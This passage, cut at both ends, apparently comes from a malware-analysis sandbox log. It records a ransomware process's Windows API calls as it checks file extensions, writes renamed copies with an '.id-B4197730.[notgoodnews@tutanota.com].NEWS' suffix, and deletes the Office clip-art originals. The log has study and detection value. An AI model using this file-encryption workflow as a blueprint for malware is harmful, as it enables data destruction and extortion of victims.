(hObject=0x514) returned 1 [0168.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0168.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.378] lstrlenW (lpString=".doc") returned 4 [0168.378] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.378] lstrlenW (lpString=".docx") returned 5 [0168.378] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0168.378] lstrlenW (lpString=".pdf") returned 4 [0168.378] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.378] lstrlenW (lpString=".xls") returned 4 [0168.378] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.378] lstrlenW (lpString=".xlsx") returned 5 [0168.378] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0168.378] lstrlenW (lpString=".ppt") returned 4 [0168.378] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.378] lstrlenW (lpString=".zip") returned 4 [0168.378] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.378] lstrlenW (lpString=".rar") returned 4 [0168.378] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.378] lstrlenW (lpString=".bz2") returned 4 [0168.378] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.378] lstrlenW (lpString=".7z") returned 3 [0168.378] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.378] lstrlenW (lpString=".dbf") returned 4 [0168.378] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.379] lstrlenW (lpString=".1cd") returned 4 [0168.379] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.379] lstrlenW (lpString=".jpg") returned 4 [0168.379] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.379] lstrlenW (lpString=".doc") returned 4 [0168.379] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.379] lstrlenW (lpString=".docx") returned 5 [0168.379] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0168.379] lstrlenW (lpString=".pdf") returned 4 [0168.379] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.379] lstrlenW (lpString=".xls") returned 4 [0168.379] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.379] lstrlenW (lpString=".xlsx") returned 5 [0168.379] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0168.379] lstrlenW (lpString=".ppt") returned 4 [0168.379] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.379] lstrlenW (lpString=".zip") returned 4 [0168.379] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.379] lstrlenW (lpString=".rar") returned 4 [0168.379] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.379] lstrlenW (lpString=".bz2") returned 4 [0168.379] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.380] lstrlenW (lpString=".7z") returned 3 [0168.380] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.380] lstrlenW (lpString=".dbf") returned 4 [0168.380] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.380] lstrlenW (lpString=".1cd") returned 4 [0168.380] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0168.380] lstrlenW (lpString=".jpg") returned 4 [0168.380] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.380] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0168.380] lstrlenW (lpString="J0099193.GIF") returned 12 [0168.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.381] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=35546) returned 1 [0168.381] CloseHandle (hObject=0x514) returned 1 [0168.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0168.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.383] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.384] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0168.384] GetLastError () returned 0x0 [0168.385] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x8ada, lpOverlapped=0x0) returned 1 [0168.878] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0168.880] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.880] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.880] SetEndOfFile (hFile=0x454) returned 1 [0168.880] CloseHandle (hObject=0x454) returned 1 [0168.880] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.880] SetEndOfFile (hFile=0x514) returned 1 [0168.883] CloseHandle (hObject=0x514) returned 1 [0168.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0169.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0169.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.138] lstrlenW (lpString=".doc") returned 4 [0169.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0169.139] lstrlenW (lpString=".docx") returned 5 [0169.139] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0169.139] lstrlenW (lpString=".pdf") returned 4 [0169.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString=".xls") returned 4 [0169.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString=".xlsx") returned 5 [0169.139] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0169.139] lstrlenW (lpString=".ppt") returned 4 [0169.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString=".zip") returned 4 [0169.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString=".rar") returned 4 [0169.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString=".bz2") returned 4 [0169.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0169.139] lstrlenW (lpString=".7z") returned 3 [0169.139] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString=".dbf") returned 4 [0169.139] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString=".1cd") returned 4 [0169.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString=".jpg") returned 4 [0169.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.139] lstrlenW (lpString=".doc") returned 4 [0169.140] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0169.140] lstrlenW (lpString=".docx") returned 5 [0169.140] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0169.140] lstrlenW (lpString=".pdf") returned 4 [0169.140] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0169.140] lstrlenW (lpString=".xls") returned 4 [0169.140] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0169.140] lstrlenW (lpString=".xlsx") returned 5 [0169.140] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0169.140] lstrlenW (lpString=".ppt") returned 4 [0169.140] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.140] lstrlenW (lpString=".zip") returned 4 [0169.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0169.140] lstrlenW (lpString=".rar") returned 4 [0169.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0169.140] lstrlenW (lpString=".bz2") returned 4 [0169.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0169.140] lstrlenW (lpString=".7z") returned 3 [0169.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.140] lstrlenW (lpString=".dbf") returned 4 [0169.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.140] lstrlenW (lpString=".1cd") returned 4 [0169.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0169.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0169.140] lstrlenW (lpString=".jpg") returned 4 [0169.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0169.140] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0169.141] lstrlenW (lpString="J0099196.GIF") returned 12 [0169.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0169.141] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=14337) returned 1 [0169.141] CloseHandle (hObject=0x454) returned 1 [0169.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0169.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0169.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0169.142] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.142] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0170.479] GetLastError () returned 0x0 [0170.479] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3801, lpOverlapped=0x0) returned 1 [0170.570] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3810, lpOverlapped=0x0) returned 1 [0170.572] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0170.572] WriteFile (in: hFile=0x51c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0170.572] SetEndOfFile (hFile=0x51c) returned 1 [0170.572] CloseHandle (hObject=0x51c) returned 1 [0170.572] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0170.572] SetEndOfFile (hFile=0x454) returned 1 [0170.575] CloseHandle (hObject=0x454) returned 1 [0170.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString=".doc") returned 4 [0171.755] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.755] lstrlenW (lpString=".docx") returned 5 [0171.755] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0171.755] lstrlenW (lpString=".pdf") returned 4 [0171.755] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.755] lstrlenW (lpString=".xls") returned 4 [0171.755] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.755] lstrlenW (lpString=".xlsx") returned 5 [0171.755] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0171.755] lstrlenW (lpString=".ppt") returned 4 [0171.755] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString=".zip") returned 4 [0171.755] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.755] lstrlenW (lpString=".rar") returned 4 [0171.755] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.755] lstrlenW (lpString=".bz2") returned 4 [0171.755] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.755] lstrlenW (lpString=".7z") returned 3 [0171.755] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString=".dbf") returned 4 [0171.755] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString=".1cd") returned 4 [0171.755] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.755] lstrlenW (lpString=".jpg") returned 4 [0171.756] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString=".doc") returned 4 [0171.756] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.756] lstrlenW (lpString=".docx") returned 5 [0171.756] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0171.756] lstrlenW (lpString=".pdf") returned 4 [0171.756] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString=".xls") returned 4 [0171.756] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString=".xlsx") returned 5 [0171.756] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0171.756] lstrlenW (lpString=".ppt") returned 4 [0171.756] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString=".zip") returned 4 [0171.756] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString=".rar") returned 4 [0171.756] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.756] lstrlenW (lpString=".bz2") returned 4 [0171.756] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.756] lstrlenW (lpString=".7z") returned 3 [0171.756] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString=".dbf") returned 4 [0171.756] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString=".1cd") returned 4 [0171.756] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0171.756] lstrlenW (lpString=".jpg") returned 4 [0171.756] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.757] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0171.757] lstrlenW (lpString="J0101856.BMP") returned 12 [0171.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.758] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=78840) returned 1 [0171.758] CloseHandle (hObject=0x4dc) returned 1 [0171.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0171.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0171.759] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.759] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0171.760] GetLastError () returned 0x0 [0171.760] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x133f8, lpOverlapped=0x0) returned 1 [0171.781] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x13400, lpOverlapped=0x0) returned 1 [0171.784] ReadFile (in: hFile=0x4dc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.784] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.784] SetEndOfFile (hFile=0x544) returned 1 [0171.784] CloseHandle (hObject=0x544) returned 1 [0171.784] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.784] SetEndOfFile (hFile=0x4dc) returned 1 [0171.788] CloseHandle (hObject=0x4dc) returned 1 [0171.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0172.511] lstrlenW (lpString="C:\\Program Files\\Microsoft 